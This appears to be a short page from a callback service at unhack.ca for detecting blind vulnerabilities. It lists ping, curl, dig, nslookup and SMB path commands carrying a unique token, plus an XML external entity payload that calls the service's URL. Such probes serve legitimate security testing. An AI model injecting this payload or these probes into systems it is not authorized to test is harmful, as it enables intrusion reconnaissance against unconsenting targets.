$ ping -c1 -p 002f2c01139eecd04b29fb5ac742ca00 unhack.ca
$ curl http://unhack.ca/p/2f2c01139eecd04b29fb5ac742ca
$ dig 2f2c01139eecd04b29fb5ac742ca @unhack.ca
$ dig 2f2c01139eecd04b29fb5ac742ca.ns.unhack.ca
C:\> nslookup 2f2c01139eecd04b29fb5ac742ca unhack.ca
C:\> type \\unhack.ca\2f2c01139eecd04b29fb5ac742ca\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/2f2c01139eecd04b29fb5ac742ca">]>
<foo>&xxe;</foo>
Waiting for ping...